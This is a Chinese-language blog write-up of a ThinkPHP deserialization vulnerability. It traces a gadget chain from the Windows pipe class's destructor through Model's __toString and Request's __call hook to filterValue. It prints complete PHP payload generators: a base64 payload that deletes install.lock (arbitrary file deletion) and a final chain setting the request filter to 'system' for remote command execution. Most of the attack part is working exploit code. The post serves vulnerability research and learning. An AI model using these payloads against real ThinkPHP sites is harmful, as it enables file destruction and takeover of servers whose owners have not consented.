ThinkPHP反序列化漏洞


复现windows.php中的ulink:

/core/library/think/process/pipes/Windows.php:

共调用了两个函数:close和removeFiles

    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

直接来到漏洞函数removeFiles,这里使用了$this->files 因为反序列化本质上就是一个变量覆盖漏洞,所以这里我们可控,可以导致任意文件删除:

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

修改下代码,以便于检查payload是否调用成功:

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                echo "OK";
            }else{
                echo "error";
            }
        }
        $this->files = [];
    }

Payload构造:
必须使用namespace设置命名空间!必须使用namespace设置命名空间!必须使用namespace设置命名空间!
因为本人在这个坑卡了一下午 :)

namespace think\process\pipes;

class Pipes{
    
}

class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files=['C:\\phpStudy\\PHPTutorial\\WWW\\install\\install.lock'];
    }


}

echo base64_encode(serialize(new Windows()));

打印出来的payload:

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ4OiJDOlxwaHBTdHVkeVxQSFBUdXRvcmlhbFxXV1dcaW5zdGFsbFxpbnN0YWxsLmxvY2siO319

复现成功!!!!
02.png

第二步 toString:

file_exists函数如果出错会自动调用toString方法:

查看 file_exists 的定义可以知道,$filename会被当做字符串处理,那么$filename->__toString()方法就会被调用
从原文中看到的。然后我在本地进行了一番测试:

Code:

<?php
class model{
    public $zzz;
    function __construct()
    {

    }

    public function __toString()
    {
        // TODO: Implement __toString() method.
        return json_encode($this->toJson());
    }

    function toJson(){
        echo $this->zzz;
    }
}

class Windows{
    private $files;
    function __construct()
    {
    }

    function __destruct()
    {
        // TODO: Implement __destruct() method.
        $this->removeFiles();
    }

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                print($filename);
            }else{
                echo "error!";
            }
        }
        $this->files = [];
    }
}

unserialize(base64_decode($_POST['pop']));

payload:

<?php

class model{
    
    public $zzz;
    function __construct()
    {
        $this->zzz = 'wwwwwwwww';
    }

    function __toString()
    {
        // TODO: Implement __toString() method.
        $this->toJson();
    }
    function toJson(){
        echo $this->zzz;
    }
}


class Windows
{
    private $files = [];
    public function __construct()
    {
        $this->files=[new model()];
    }
}

echo base64_encode(serialize(new Windows()));
?>

OK,事实证明确实可以:
3.png
接下来就是根据__toString来进行操作了,搜索那些地方能定义了toString:
4.png
一共有这么多方法,但是里面调用了其他方法的没几个,最后锁定到Conversion类:

    public function __toString()
    {
        return $this->toJson();
    }

跟进toJson方法:

    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

调用了toArray方法:

......

foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);// 回来

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

......

这里调用了getRelation方法,跟入后得到代码:

    public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

这句代码完全没卵用,因为下面的判断语句为:

if(!$relation)

所以直接让他返回为空就可以了.然后就紧接着调用了getAttr

$notFound = false;
$value    = $this->getData($name);

然后跟入getData函数:

    public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return  $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

也就是说$relation的值为$this->data[$name]。
但是这里注意一点就是,这两个类的定义都使用的是关键字trait,必须使用use来继承他,并且需要在主类中定义变量。所以这个时候需要找这两个类的并用子类,最终锁定为Model类:

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
    
    ....
}

单目前为止,我们需要控制的变量为:

  1. data
  2. append
  3. files

所以构造Payload为:

<?php

namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["vaaa"=>[1,2,3,4]];
        $this->data = ["vaaa"=>"fuck"];
    }
}

namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}


namespace think\model;

use think\Model;

class Pivot extends Model
{
}


use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

构造RCE payload:

根据文章得知在Requests.php的__call函数中:

public function __call($method, $args)
{
 if (array_key_exists($method, $this->hook)) {
 array_unshift($args, $this);
 return call_user_func_array($this->hook[$method], $args);
 }

 throw new Exception('method not exists:' . static::class . '->' . $method);
}

由于$args第一个值不能够控制,所以这里完全不能反序列化,但是我们可以根据filterValue函数来进行任意代码执行:

    $default = array_pop($filters);

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        }else{
            .....
        }

但是这里的$value不能自己进行控制,所以需要往上找可以控制value的地方,共发现以下函数:

  1. cookie
  2. input

但是这里的input参数并不是可控的:

public function input($data = [], $name = '', $default = null, $filter = '')

所以还需要往上追一下 param函数中:

return $this->input($this->param, $name, $default, $filter);

依然是不可控,在继续查找调用了param的地方,最终找到了isAjax 方法:

    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

ajax函数中,$this->config['var_ajax']是可控的,所以能够直接执行,$this->config['var_ajax'] 说明param 函数中的$name可控,param可控说明input中的$name可控。
这里来到param函数:

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

这句代码会将$_GET数组赋值到$this->param中,在往下执行就来到了:

return $this->input($this->param, $name, $default, $filter);

继续跟进input方法,input中只有一个坑点:

$data = $this->getData($data, $name);

这里的name变量来自于$this->config['var_ajax'],这个不要进行赋值,只需要定义即可。因为getData函数只要循环不完,就直接返回控,如果返回控的话就return了。

getData代码:

    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }

他直接$data等于$data[$val]了,坑爹。

然后就是解析过滤器了:

$filter = $this->getFilter($filter, $default);

跟进getFilter函数:

    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

注意看这句代码:

$filter = $filter ?: $this->filter;

这里filter是来自this->filter的,所以我们需要定义this->filter为函数名.回到input函数:

if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        .....
}

这里又是一个回调函数,进入filterValue中,关键代码如下:

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
                .....

此时:

  1. filterValue.value=第一个GET的值
  2. filters.key = 第一个GET的键
  3. filters.filters = input.filters

构造payload:

<?php

namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["vaaa"=>["calc.exe","calc"]];
        $this->data = ["vaaa"=>new Request()];
    }
}

class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}


namespace think\model;

use think\Model;

class Pivot extends Model
{
}


use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

效果:

5.png

参考链接:挖掘暗藏ThinkPHP中的反序列利用链

声明:小透明 | 渗透测试,代码审计,Web安全|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - ThinkPHP反序列化漏洞


emmmmmmmmmmm............